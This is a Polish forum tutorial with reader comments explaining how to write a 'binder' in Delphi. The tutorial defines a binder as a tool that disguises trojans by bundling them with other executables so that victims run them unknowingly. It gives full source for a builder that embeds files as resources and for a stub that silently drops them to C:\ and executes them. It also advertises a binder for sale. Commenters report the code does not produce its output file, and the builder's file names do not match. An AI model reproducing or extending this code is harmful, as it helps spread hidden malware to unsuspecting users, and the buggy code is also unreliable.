Prosty binder
0wn3r25
Pierwsza rzecz, od której rozpocznę ten artykuł, to wyjaśnienie czym jest binder.
Binder (ang. segregator, lub od bind - ang. łączyć) - rodzaj programu komputerowego, służący do łączenia dwóch różnych plików. Najczęściej jest wykorzystywany do maskowania trojanów, poprzez łączenie ich z innymi dowolnie wybranymi plikami. Ofiara uruchamiając plik, uruchamia trojana i program maskujący, którym może być dowolny plik wykonywalny.
Źródło : www.wikipedia.pl
Teraz przejdźmy do rzeczy :
Co będzie nam potrzebne aby napisać ten binder?
Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)
Do napisania bindera, dla niewiedzących nie trzeba ściągać żadnych komponentów.
No to czas do dzieła!!! :
- Wrzucamy na formę komponent OpenDialog z zakładki Dialogs i dajemy mu nazwę OD.
- Wrzucamy na formę 2 buttony i nazywamy je : btn1, btn2 (caption : Binduj i Otwórz)
- Wrzucamy na formę listbox z zakładki Standard i dajemy mu nazwę lst
Wszystko razem powinno to tak wyglądać :
Czas na kod!!! :
Pomiędzy formą i kodem możemy się przełączać naciskając przycisk F12.
--- Klikamy 2x na przycisk btn1 (Otwórz) i wklepujemy kod :
procedure TForm1.btn1Click(Sender: TObject);
begin
if OD.Execute then
lst.Items.Add(OD.FileName);
end;
--- Klikamy 2x na przycisk btn2 (Binduj) i wklepujemy kod :
procedure TForm1.btn2Click(Sender: TObject);
var
I:Integer;
H, Size, FH, BR:DWORD;
Local:String;
Buf:Pointer;
begin
Local:= ExtractFilePath(ParamStr(0));
CopyFile(PChar(Local+'Stub\Stub.exe'), PChar(Local+'zbindowany.exe'), False);
H:= BeginUpdateResource(PChar(Local+'Out.exe'), True);
for I:= 0 to Lst.Items.Count-1 do begin
FH:= CreateFile(PChar(lst.Items[I]), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Size:= GetFileSize(FH, nil);
GetMem(Buf, Size);
ReadFile(FH, Buf^, Size, BR, nil);
CloseHandle(FH);
UpdateResource(H, RT_RCDATA, PChar(UpperCase(ExtractFileName(lst.Items[I]))), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size);
FreeMem(Buf);
end;
EndUpdateResource(H, False);
end;
--- Teraz klikamy na komponent lst i wchodzimy w zakładkę Events i szukamy OnDblClick, gdy już znaleźliśmy, klikamy 2x na puste polę obok OnDblClick i wklepujemy kod :
procedure TForm1.LstDblClick(Sender: TObject);
begin
if lst.ItemIndex <> -1 then
lst.Items.Delete(lst.ItemIndex);
end;
end.
No i to by było na tyle! Prawda że mało nam się wydaje? Ale to nie koniec.
Tworzymy aplikację konsolową i wklepujemy kod :
program Stub;
uses
Windows, ShellApi;
function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
Info, FH, BW:DWORD;
begin
Result:= True;
Info:= FindResource(0, lpName, lpType);
FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
CloseHandle(FH);
ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
end;
begin
EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.
Plik zapisujemy do dowolnego folderu i nazywamy go "Stub". Następnie kompilujemy.
Pamiętajcie! Za każdym razem jak chcecie zbindować jakiś plik, musicie do niego dołączyć plik Stub.exe.
Program można urozmaicać jak chcecie, można zmienić ikonę, dodać obrazek (Zakładka Additional i tam jest Image), zmieniać kod itd.
A do tego jest potrzebna wiedza, więc podaje kilka stron z których można się czegoś nauczyć o Delphi (Object Pascal'u) :
http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html
Źródło (+ stub) :
Sprzedam bindera, napisany w asemblerze (masm32). Więcej informacji na e-mailu.
pelinkbinder@gmail.com
przepraszam ale napisales na koncu "Tworzymy aplikację konsolową i wklepujemy kod". gdzie(jak) tworzymy tą aplikacje? gdzie wpisujemy ten kod?:) PS. to jest moj pierwszy kontakt z Delphi :)
Program nie tworzy pliku Out.exe :(( Czy moglbyś to naprawić, aby binder dzialal. Nie jeden użytkownik będzie wdzięczny :))
A może opiszesz jak to działa?
Bo ja widzę że u mnie tylko kopiuje stub.exe i tyle,
a żadnego Out.exe nie tworzy. Używam tego samego Delphi co ty.
A może tak byś opisał kod jakimiś komentarzami?
Jak ktos znow to bedzie edytować to ossadzcie ten obrazek a nie do niego link...